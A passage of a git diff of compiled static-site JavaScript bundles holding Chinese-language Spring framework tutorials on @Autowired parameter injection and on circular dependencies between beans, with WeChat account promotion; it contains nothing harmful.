"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" fish "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br")])]),t("p",[s._v("运行testAutowired02()方法,在输出的结果信息中存在如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("null"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明此时的Fish类中的Cat对象为空。此时,我们可以将Cat对象作为一个参数传递到AutowiredConfig类的fish()方法中,并且将Cat对象设置到Fish中,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" fish "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("当然,我们也可以使用@Autowired注解来标注fish()方法中的cat参数,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" fish "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("接下来,我们再次运行testAutowired02()方法,在输出的结果信息中存在如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@21de60b4"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明Cat对象被成功创建并设置到了Fish类中。")]),s._v(" "),t("p",[t("strong",[s._v("结论:如果方法只有一个IOC容器中的对象作为参数,当@Autowired注解标注在这个方法的参数上时,我们可以将@Autowired注解省略。")])]),s._v(" "),t("h2",{attrs:{id:"重磅福利"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[s._v("#")]),s._v(" 重磅福利")]),s._v(" "),t("p",[s._v("关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,后台回复 “"),t("strong",[s._v("设计模式")]),s._v("” 关键字领取《"),t("strong",[s._v("深入浅出Java 23种设计模式")]),s._v("》PDF文档。回复“"),t("strong",[s._v("Java8")]),s._v("”关键字领取《"),t("strong",[s._v("Java8新特性教程")]),s._v("》PDF文档。回复“"),t("strong",[s._v("限流")]),s._v("”关键字获取《"),t("strong",[s._v("亿级流量下的分布式限流解决方案")]),s._v("》PDF文档,三本PDF均是由冰河原创并整理的超硬核教程,面试必备!!")]),s._v(" "),t("p",[t("font",{attrs:{color:"#FF0000"}},[t("strong",[s._v("好了,今天就聊到这儿吧!别忘了点个赞,给个在看和转发,让更多的人看到,一起学习,一起进步!!")])])],1),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("blockquote",[t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-122.js b/assets/js/cg-122.js index 763d1a0fc9bea60de3b4e819495b73b946c1dc51..7ffc16a8689fe0b458d4bd819d0595babf556a38 100644 --- a/assets/js/cg-122.js +++ b/assets/js/cg-122.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[122],{662:function(t,s,a){"use strict";a.r(s);var n=a(7),e=Object(n.a)({},(function(){var t=this,s=t._self._c;return s("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[s("h1",{attrs:{id:"【spring】如何解决spring的循环依赖问题-这道面试题助我拿到了offer"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#【spring】如何解决spring的循环依赖问题-这道面试题助我拿到了offer"}},[t._v("#")]),t._v(" 【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!")]),t._v(" "),s("h2",{attrs:{id:"写在前面"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#写在前面"}},[t._v("#")]),t._v(" 写在前面")]),t._v(" "),s("blockquote",[s("p",[t._v("最近,有关于Spring的面试中,Spring的循环依赖问题是必问的知识点,你回答的不好,就会被直接pass掉。即使你没被pass掉,你也会比那些知道如何解决Spring循环依赖问题的同事薪资低,这就是现实。所以,我们今天就一起来探讨下如何解决Spring循环依赖的问题。")]),t._v(" "),s("p",[t._v("关注 "),s("strong",[t._v("冰河技术")]),t._v(" 微信公众号,阅读更多技术干货文章!!")])]),t._v(" "),s("h2",{attrs:{id:"什么是循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#什么是循环依赖"}},[t._v("#")]),t._v(" 什么是循环依赖?")]),t._v(" "),s("p",[t._v("循环依赖其实就是循环引用,也就是两个或者两个以上的bean互相持有对方,最终形成闭环。比如A依赖于B,B依赖于C,C又依赖于A。如下图:")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"在这里插入图片描述","data-src":"https://img-blog.csdnimg.cn/20200817004907786.jpg#pic_center",loading:"lazy"}})]),t._v(" "),s("p",[t._v("注意,这里不是函数的循环调用,是对象的相互依赖关系。循环调用其实就是一个死循环,除非有终结条件。")]),t._v(" "),s("p",[t._v("Spring中循环依赖场景有:")]),t._v(" "),s("p",[t._v("(1)构造器的循环依赖")]),t._v(" "),s("p",[t._v("(2)field属性的循环依赖")]),t._v(" "),s("p",[t._v("其中,构造器的循环依赖问题无法解决,只能拋出BeanCurrentlyInCreationException异常,在解决属性循环依赖时,spring采用的是提前暴露对象的方法。")]),t._v(" "),s("h2",{attrs:{id:"怎么检测是否存在循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#怎么检测是否存在循环依赖"}},[t._v("#")]),t._v(" 怎么检测是否存在循环依赖?")]),t._v(" "),s("p",[t._v("检测循环依赖相对比较容易,Bean在创建的时候可以给该Bean打标,如果递归调用回来发现正在创建中的话,即说明了循环依赖了。")]),t._v(" "),s("h2",{attrs:{id:"三种循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#三种循环依赖"}},[t._v("#")]),t._v(" 三种循环依赖")]),t._v(" "),s("h3",{attrs:{id:"_1-构造器的循环依赖。【这个spring解决不了】"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1-构造器的循环依赖。【这个spring解决不了】"}},[t._v("#")]),t._v(" 1.构造器的循环依赖。【这个Spring解决不了】")]),t._v(" "),s("p",[t._v("Spring容器会将每一个正在创建的Bean 标识符放在一个“当前创建Bean池”中,Bean标识符在创建过程中将一直保持在这个池中,因此如果在创建Bean过程中发现自己已经在“当前创建Bean池”里时将抛出BeanCurrentlyInCreationException异常表示循环依赖;而对于创建完毕的Bean将从“当前创建Bean池”中清除掉。")]),t._v(" "),s("p",[t._v("Spring容器先创建单例A,A依赖B,然后将A放在“当前创建Bean池”中,此时创建B,B依赖C ,然后将B放在“当前创建Bean池”中,此时创建C,C又依赖A, 但是,此时A已经在池中,所以会报错,因为在池中的Bean都是未初始化完的,所以会依赖错误 ,(初始化完的Bean会从池中移除)")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("private")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" studentB "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setStudentB")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentB "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentB "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br")])]),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("private")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" studentC "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setStudentC")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentC "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentC "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br")])]),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("private")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" studentA "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setStudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentA "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentA "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br")])]),s("p",[t._v("上面是很基本的3个类,,StudentA有参构造是StudentB。StudentB的有参构造是StudentC,StudentC的有参构造是StudentA ,这样就产生了一个循环依赖的情况,")]),t._v(" "),s("p",[t._v("我们都把这三个Bean交给Spring管理,并用有参构造实例化")]),t._v(" "),s("div",{staticClass:"language-xml line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-xml"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentA"),s("span",{pre:!0,attrs:{class:"token 